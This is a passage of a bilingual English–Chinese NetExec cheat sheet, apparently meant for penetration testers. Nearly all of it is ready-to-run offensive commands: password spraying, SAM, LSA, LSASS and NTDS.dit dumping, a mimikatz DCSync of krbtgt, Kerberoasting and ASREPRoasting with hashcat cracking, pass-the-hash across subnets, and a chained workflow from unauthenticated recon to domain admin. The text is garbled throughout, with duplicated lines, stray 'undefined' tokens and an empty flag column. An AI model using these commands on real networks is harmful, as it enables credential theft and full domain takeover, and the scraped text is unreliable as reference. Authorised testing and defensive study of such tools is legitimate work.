nxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>
undefinednxc ldap <ip> -u user -p pass --gmsa-convert-id <ID>
undefinedBloodHound Data Collection
BloodHound 数据收集
bash
nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOnbash
nxc ldap <ip> -u user -p pass --bloodhound --collection All
nxc ldap <ip> -u user -p pass --bloodhound --collection DCOnly
nxc ldap <ip> -u user -p pass --bloodhound --collection Session,LoggedOnSCCM / Entra ID / DNS
SCCM / Entra ID / DNS
bash
undefinedbash
undefinedSCCM enumeration
SCCM enumeration
nxc ldap <ip> -u user -p pass -M enum-sccm
nxc ldap <ip> -u user -p pass -M enum-sccm
Entra ID enumeration
Entra ID enumeration
nxc ldap <ip> -u user -p pass --entra-id
nxc ldap <ip> -u user -p pass --entra-id
Unsecured DNS zones
Unsecured DNS zones
nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones
nxc ldap <ip> -u user -p pass --enumerate-unsecure-dns-zones
Custom LDAP query
Custom LDAP query
nxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"
undefinednxc ldap <ip> -u user -p pass --query "(objectClass=user)" "sAMAccountName"
undefinedraisechild — Domain Trust Escalation
raisechild — 域信任权限提升
bash
nxc ldap <ip> -u user -p pass -M raisechildbash
nxc ldap <ip> -u user -p pass -M raisechildWinRM Protocol
WinRM 协议
bash
undefinedbash
undefinedCheck auth
Check auth
nxc winrm <ip> -u user -p pass
nxc winrm <ip> -u user -p pass
Execute command
Execute command
nxc winrm <ip> -u user -p pass -X whoami
nxc winrm <ip> -u user -p pass -X whoami
Credential dumping (admin required)
Credential dumping (admin required)
nxc winrm <ip> -u user -p pass --sam
nxc winrm <ip> -u user -p pass --lsa
nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds
> **Pwn3d!** on WinRM = code execution is possible. Use `evil-winrm` for
> interactive shell: `evil-winrm -i <ip> -u user -p pass`
---nxc winrm <ip> -u user -p pass --sam
nxc winrm <ip> -u user -p pass --lsa
nxc winrm <ip> -u user -p pass --dpapi # no admin needed — dumps current user creds
> **Pwn3d!** 在 WinRM 上表示可以执行代码。如需交互式 shell,请使用 `evil-winrm`:`evil-winrm -i <ip> -u user -p pass`
---WMI Protocol
WMI 协议
bash
undefinedbash
undefinedAuth check
Auth check
nxc wmi <ip> -u user -p pass
nxc wmi <ip> -u user -p pass
Password spray
Password spray
nxc wmi <ip> -u ~/users.txt -p ~/passwords.txt
nxc wmi <ip> -u ~/users.txt -p ~/passwords.txt
Execute command
Execute command
nxc wmi <ip> -u user -p pass -x whoami
---nxc wmi <ip> -u user -p pass -x whoami
---MSSQL Protocol
MSSQL 协议
bash
undefinedbash
undefinedAuth check (domain)
Auth check (domain)
nxc mssql <ip> -u user -p pass
nxc mssql <ip> -u user -p pass
Auth check (local SQL account)
Auth check (local SQL account)
nxc mssql <ip> -u sa -p 'P@ssw0rd' --local-auth
nxc mssql <ip> -u sa -p 'P@ssw0rd' --local-auth
Run SQL query
Run SQL query
nxc mssql <ip> -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
nxc mssql <ip> -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
OS command via xp_cmdshell (requires sysadmin)
OS command via xp_cmdshell (requires sysadmin)
nxc mssql <ip> -u sa -p pass -x whoami
nxc mssql <ip> -u sa -p pass -x whoami
Password spray
Password spray
nxc mssql <ip> -u ~/users.txt -p ~/passwords.txt --no-bruteforce
nxc mssql <ip> -u ~/users.txt -p ~/passwords.txt --no-bruteforce
Privilege escalation — check for impersonation rights
Privilege escalation — check for impersonation rights
nxc mssql <ip> -u user -p pass -M mssql_priv
nxc mssql <ip> -u user -p pass -M mssql_priv
Escalate to sysadmin
Escalate to sysadmin
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=privesc
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=privesc
Rollback (after engagement)
Rollback (after engagement)
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=rollback
nxc mssql <ip> -u user -p pass -M mssql_priv -o ACTION=rollback
Enumerate users by RID brute
Enumerate users by RID brute
nxc mssql <ip> -u user -p pass --rid-brute
nxc mssql <ip> -u user -p pass --rid-brute
Linked servers
Linked servers
nxc mssql <ip> -u user -p pass --mssql-linked-servers
nxc mssql <ip> -u user -p pass --mssql-linked-servers
Upload/download files
Upload/download files
nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\remote\file.txt
nxc mssql <ip> -u user -p pass --get-file C:\remote\file.txt /local/file.txt
---nxc mssql <ip> -u user -p pass --put-file /local/file.txt C:\remote\file.txt
nxc mssql <ip> -u user -p pass --get-file C:\remote\file.txt /local/file.txt
---SSH Protocol
SSH 协议
bash
undefinedbash
undefinedAuth check
Auth check
nxc ssh <ip> -u user -p pass
nxc ssh <ip> -u root -p pass # Pwn3d! if root
nxc ssh <ip> -u user -p pass
nxc ssh <ip> -u root -p pass # Pwn3d! if root
Password spray
Password spray
nxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt
nxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt
Execute command
Execute command
nxc ssh <ip> -u user -p pass -x whoami
nxc ssh <ip> -u user -p pass -x whoami
File transfer
File transfer
nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file
nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file
---nxc ssh <ip> -u user -p pass --get-file /remote/file /local/file
nxc ssh <ip> -u user -p pass --put-file /local/file /remote/path/file
---RDP Protocol
RDP 协议
bash
undefinedbash
undefinedAuth check / password spray
Auth check / password spray
nxc rdp <ip> -u user -p pass
nxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt
nxc rdp <ip> -u user -p pass
nxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt
Screenshot without NLA (unauthenticated)
Screenshot without NLA (unauthenticated)
nxc rdp <ip> -u '' -p '' --screenshot --screentime 5
nxc rdp <ip> -u '' -p '' --screenshot --screentime 5
Screenshot with auth
Screenshot with auth
nxc rdp <ip> -u user -p pass --screenshot
nxc rdp <ip> -u user -p pass --screenshot
Execute command
Execute command
nxc rdp <ip> -u user -p pass -x whoami
---nxc rdp <ip> -u user -p pass -x whoami
---VNC Protocol
VNC 协议
bash
undefinedbash
undefinedAuth check
Auth check
nxc vnc <ip> -u user -p pass
nxc vnc <ip> -u user -p pass
Screenshot
Screenshot
nxc vnc <ip> --screenshot
---nxc vnc <ip> --screenshot
---FTP Protocol
FTP 协议
bash
undefinedbash
undefinedAuth check / spray
Auth check / spray
nxc ftp <ip> -u user -p pass
nxc ftp <ip> -u ~/users.txt -p ~/passwords.txt
nxc ftp <ip> -u user -p pass
nxc ftp <ip> -u ~/users.txt -p ~/passwords.txt
List files
List files
nxc ftp <ip> -u user -p pass --ls
nxc ftp <ip> -u user -p pass --ls
Download / upload
Download / upload
nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt
nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt
---nxc ftp <ip> -u user -p pass --get-file /remote/file.txt /local/file.txt
nxc ftp <ip> -u user -p pass --put-file /local/file.txt /remote/file.txt
---NFS Protocol
NFS 协议
bash
undefinedbash
undefinedEnumerate exports
Enumerate exports
nxc nfs <ip>
nxc nfs <ip> -u user -p pass --enum-shares
nxc nfs <ip>
nxc nfs <ip> -u user -p pass --enum-shares
Download / upload
Download / upload
nxc nfs <ip> --get-file /remote/path/file.txt /local/file.txt
nxc nfs <ip> --put-file /local/file.txt /remote/path/
nxc nfs <ip> --get-file /remote/path/file.txt /local/file.txt
nxc nfs <ip> --put-file /local/file.txt /remote/path/
chmod on remote file
chmod on remote file
nxc nfs <ip> -u user -p pass --chmod 777 /remote/file.txt
nxc nfs <ip> -u user -p pass --chmod 777 /remote/file.txt
Escape to root filesystem
Escape to root filesystem
nxc nfs <ip> -u user -p pass --chroot
---nxc nfs <ip> -u user -p pass --chroot
---Modules System
模块系统
bash
undefinedbash
undefinedList all modules for a protocol
List all modules for a protocol
nxc smb -L
nxc ldap -L
nxc winrm -L
nxc smb -L
nxc ldap -L
nxc winrm -L
View module options
View module options
nxc smb -M lsassy --options
nxc smb -M lsassy --options
Run a module
Run a module
nxc smb <ip> -u user -p pass -M lsassy
nxc smb <ip> -u user -p pass -M lsassy
Run with options
Run with options
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
nxc smb <ip> -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True
Run MULTIPLE modules at once (v1.1+)
Run MULTIPLE modules at once (v1.1+)
nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp
---nxc smb <ip> -u user -p pass -M spooler -M iis -M lsassy -M winscp
---Logging & Audit Mode
日志与审计模式
bash
undefinedbash
undefinedLog all results to file
Log all results to file
nxc smb <target> -u user -p pass --log results.txt
nxc smb <target> -u user -p pass --log results.txt
Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)
Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)
Set: audit_mode = * (or any character to use as redaction mask)
Set: audit_mode = * (or any character to use as redaction mask)
undefinedundefinedPentest Scenario Example (Chained Workflows)
渗透测试场景示例(链式工作流)
Initial Recon (No Creds)
初始侦察(无凭据)
bash
undefinedbash
undefined1. Discover live hosts and SMB info
1. Discover live hosts and SMB info
nxc smb 192.168.1.0/24
nxc smb 192.168.1.0/24
2. Find hosts without SMB signing (relay targets)
2. Find hosts without SMB signing (relay targets)
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt
nxc smb 192.168.1.0/24 --gen-relay-list relay.txt
3. Check null session / guest logon
3. Check null session / guest logon
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u 'a' -p ''
nxc smb 192.168.1.0/24 -u '' -p ''
nxc smb 192.168.1.0/24 -u 'a' -p ''
4. Enumerate shares with null session
4. Enumerate shares with null session
nxc smb 192.168.1.0/24 -u '' -p '' --shares
nxc smb 192.168.1.0/24 -u '' -p '' --shares
5. ASREPRoast with username wordlist
5. ASREPRoast with username wordlist
nxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt
undefinednxc ldap <dc_ip> -u users.txt -p '' --asreproast asrep.txt
hashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt
undefinedWith Domain Creds (Low Privilege)
使用域凭据(低权限)
bash
undefinedbash
undefined1. Collect BloodHound data
1. Collect BloodHound data
nxc ldap <dc_ip> -u user -p pass --bloodhound --collection All
nxc ldap <dc_ip> -u user -p pass --bloodhound --collection All
2. Get password policy
2. Get password policy
nxc smb <dc_ip> -u user -p pass --pass-pol
nxc smb <dc_ip> -u user -p pass --pass-pol
3. Enumerate all users
3. Enumerate all users
nxc ldap <dc_ip> -u user -p pass --users-export users.txt
nxc ldap <dc_ip> -u user -p pass --users-export users.txt
4. Kerberoast
4. Kerberoast
nxc ldap <dc_ip> -u user -p pass --kerberoasting kerberoast.txt
hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
nxc ldap <dc_ip> -u user -p pass --kerberoasting kerberoast.txt
hashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
5. Find delegation misconfigs
5. Find delegation misconfigs
nxc ldap <dc_ip> -u user -p pass --find-delegation
nxc ldap <dc_ip> -u user -p pass --find-delegation
6. Check DACL rights on Domain Admins
6. Check DACL rights on Domain Admins
nxc ldap <dc_ip> -k -M daclread -o TARGET="Domain Admins" ACTION=read
nxc ldap <dc_ip> -k -M daclread -o TARGET="Domain Admins" ACTION=read
7. Scan for vulns
7. Scan for vulns
nxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus
undefinednxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus
undefinedWith Local Admin (Lateral Movement)
使用本地管理员(横向移动)
bash
undefinedbash
undefined1. Dump SAM / LSA on target
1. Dump SAM / LSA on target
nxc smb <ip> -u localadmin -p pass --local-auth --sam
nxc smb <ip> -u localadmin -p pass --local-auth --lsa
nxc smb <ip> -u localadmin -p pass --local-auth --sam
nxc smb <ip> -u localadmin -p pass --local-auth --lsa
2. Dump LSASS (get domain creds)
2. Dump LSASS (get domain creds)
nxc smb <ip> -u localadmin -p pass --local-auth -M lsassy
nxc smb <ip> -u localadmin -p pass --local-auth -M lsassy
3. Spray dumped hashes across subnet
3. Spray dumped hashes across subnet
nxc smb 192.168.1.0/24 -u Administrator -H <NTHASH> --local-auth
nxc smb 192.168.1.0/24 -u Administrator -H <NTHASH> --local-auth
4. Spider shares for sensitive files
4. Spider shares for sensitive files
nxc smb 192.168.1.0/24 -u user -p pass -M spider_plus
undefinednxc smb 192.168.1.0/24 -u user -p pass -M spider_plus
undefinedWith Domain Admin
使用域管理员
bash
undefinedbash
undefined1. Dump NTDS.dit
1. Dump NTDS.dit
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' --ntds
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' --ntds
2. DCSync specific user
2. DCSync specific user
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='"lsadump::dcsync /domain:corp.local /user:krbtgt"'
nxc smb <dc_ip> -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='"lsadump::dcsync /domain:corp.local /user:krbtgt"'
3. Dump all DPAPI secrets at scale
3. Dump all DPAPI secrets at scale
nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem
---nxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem
---Quick Reference: Flag Cheatsheet
快速参考:Flags 速查表
| Flag | Purpose |
|---|---|
| Username(s) or file |
| Password(s) or file |
| NTLM hash |
| Kerberos auth |
| Use KRB5CCNAME ticket |
| Local user (not domain) |
| Use cred ID from DB |
| Run CMD command |
| Run PowerShell command |
| Force wmiexec/atexec/smbexec |
| Module name (repeatable) |
| Module options KEY=value |
| List available modules |
| Dump SAM hashes |
| Dump LSA secrets |
| Dump NTDS.dit |
| Dump DPAPI secrets |
| Enumerate SMB shares |
| Enumerate users |
| Get domain password policy |
| List logged-on users |
| Spider a share |
| Read LAPS password |
| ASREPRoast to file |
| Kerberoast to file |
| Run BloodHound collector |
| Find delegation misconfigs |
| Pair user[i]:pass[i] mode |
| Don't stop at first valid |
| Delay between requests |
| Output relay-able hosts |
| RBCD/S4U2Self impersonation |
| Dump gMSA passwords |
| Suppress opsec warnings |
| Flag | 用途 |
|---|---|
| 用户名(或用户名字典文件) |
| 密码(或密码字典文件) |
| NTLM hash |
| Kerberos 认证 |
| 使用 KRB5CCNAME ticket |
| 本地用户(非域用户) |
| 使用数据库中的凭据 ID |
| 运行 CMD 命令 |
| 运行 PowerShell 命令 |
| 强制使用 wmiexec/atexec/smbexec |
| 模块名称(可重复) |
| 模块选项 KEY=value |
| 列出可用模块 |
| 转储 SAM hash |
| 转储 LSA secret |
| 转储 NTDS.dit |
| 转储 DPAPI secret |
| 枚举 SMB share |
| 枚举用户 |
| 获取域密码策略 |
| 列出已登录用户 |
| 遍历 share |
| 读取 LAPS 密码 |
| 将 ASREPRoast 结果写入文件 |
| 将 Kerberoast 结果写入文件 |
| 运行 BloodHound collector |
| 查找委派配置错误 |
| 按 user[i]:pass[i] 配对 |
| 找到首个有效凭据后不停止 |
| 请求之间的延迟 |
| 输出可用于 relay 的主机 |
| RBCD/S4U2Self 模拟 |
| 转储 gMSA 密码 |
| 隐藏 OpSec 警告 |